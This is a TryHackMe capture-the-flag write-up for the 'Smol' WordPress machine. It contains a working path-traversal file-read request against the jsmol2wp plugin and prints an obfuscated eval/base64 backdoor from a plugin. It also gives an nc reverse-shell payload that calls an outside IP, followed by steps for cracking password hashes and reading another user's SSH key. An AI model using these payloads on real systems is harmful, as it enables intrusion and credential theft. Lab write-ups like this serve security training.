Smol
Writeup for the TryHackMe machine Smol
Recon
nmap
nmap finds two open ports: SHH (22) and HTTP (80).
1
2
3
4
5
6
7
8
9
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: AnotherCTF
|_http-generator: WordPress 6.7.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
Subdomain Fuzz
The web server redirects to www.smol.thm. Fuzzing for subdomains using gobuster does not uncover any additional subdomains.
www.smol.thm - TCP 80
The website is running WordPress version 6.7.1. Using wpscan, I identify the plugin jsmol2wp (version 1.07) and multiple users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
$ wpscan --url "http://www.smol.thm/" -e u,t,p
[...]
[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
| Found By: Rss Generator (Passive Detection)
| - http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
| - http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
[...]
[+] Enumerating Most Popular Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] jsmol2wp
| Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
| Latest Version: 1.07 (up to date)
| Last Updated: 2018-03-09T10:28:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.07 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
[+] Enumerating Most Popular Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:03 <============================================================================================================================================================> (400 / 400) 100.00% Time: 00:00:03
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] Theme(s) Identified:
[...]
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <==============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] Jose Mario Llado Marti
| Found By: Rss Generator (Passive Detection)
[+] wordpress user
| Found By: Rss Generator (Passive Detection)
[+] admin
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] think
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] wp
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] gege
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] diego
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] xavi
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Searching for vulnerabilities in the jsmol2wp plugin leads to a file read vulnerability.
Shell as www-data
I exploit the file read vulnerability to access the WordPress configuration file (wp-config.php):
1
2
3
4
5
6
7
$ curl http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
[...]
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', '<REDACTED>' );
define( 'DB_HOST', 'localhost' );
[...]
Using the credentials wpuser:<REDACTED>, I log into the WordPress dashboard at http://www.smol.thm/wp-admin/. In the dashboard, I find a page called Webmaster Tasks!! with the following security notes:
1
2
3
4
5
6
7
8
9
10
11
1- [IMPORTANT] Check Backdoors: Verify the SOURCE CODE of "Hello Dolly" plugin as the site's code revision.
2- Set Up HTTPS: Configure an SSL certificate to enable HTTPS and encrypt data transmission.
3- Update Software: Regularly update your CMS, plugins, and themes to patch vulnerabilities.
4- Strong Passwords: Enforce strong passwords for users and administrators.
5- Input Validation: Validate and sanitize user inputs to prevent attacks like SQL injection and XSS.
6- [IMPORTANT] Firewall Installation: Install a web application firewall (WAF) to filter incoming traffic.
7- Backup Strategy: Set up regular backups of your website and databases.
8- [IMPORTANT] User Permissions: Assign minimum necessary permissions to users based on roles.
9- Content Security Policy: Implement a CSP to control resource loading and prevent malicious scripts.
10- Secure File Uploads: Validate file types, use secure upload directories, and restrict execution permissions.
11- Regular Security Audits: Conduct routine security assessments, vulnerability scans, and penetration tests.
Since wpuser lacks plugin access, I exploit the file read vulnerability again to inspect the “Hello Dolly” plugin’s source code:
1
2
3
4
$ curl http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
[...]
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
[...]
The code contains a base64-encoded payload. Decoding it reveals the following backdoor:
1
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
The parameter cmd allows arbitrary command execution. To verify this, I run: http://www.smol.thm/wp-admin/?cmd=id
Finally, I gain a reverse shell:
1
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|bash%20-i%202%3E%261|nc%2010.x.x.x%209001%20%3E%2Ftmp%2Ff
Shell as diego
I use the database credentials from wp-config.php to dump WordPress user hashes:
1
2
3
4
5
6
7
8
9
10
11
mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
+------------+------------------------------------+
Using hashcat and the rockyou.txt wordlist, I crack Diego’s password:
1
2
3
$ hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --user
[...]
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1:<REDACTED>
I switch to Diego:
1
2
$ su diego
Password: <REDACTED>
Shell as think
As Diego, I discover that I can read the private SSH key of the user think:
1
2
3
4
$ cat /home/think/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
<REDACTED>
-----END OPENSSH PRIVATE KEY-----
Using the key, I log in as think:
Shell as gege
The user think can switch to the user gege without requiring a password:
1
2
think@smol:~$ su gege
gege@smol:~$
Shell as xavi
In gege’s home directory, I find a password-protected zip file named wordpress.old.zip. To crack the zip file’s password, I extract its hash and use john for brute-forcing:
1
2
3
4
5
6
7
8
9
10
$ zip2john wordpress.old.zip > hash_zip.txt
$ john -w=/usr/share/wordlists/rockyou.txt hash_zip.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (wordpress.old.zip)
1g 0:00:00:00 DONE (2025-03-22 15:35) 1.562g/s 11929Kp/s 11929Kc/s 11929KC/s hesse..hellome2010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
I unzip the file. Inside, I find an old wp-config.php file. Examining its contents, I discover the credentials xavi:<REDACTED>. Using these, I switch to the user xavi:
1
2
gege@smol:~$ su xavi
Password: <REDACTED>
Shell as root
As xavi, I check for sudo privileges and find that xavi can run all commands as root:
1
2
3
4
5
6
7
$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on smol:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User xavi may run the following commands on smol:
(ALL : ALL) ALL
Executing sudo su grants a root shell.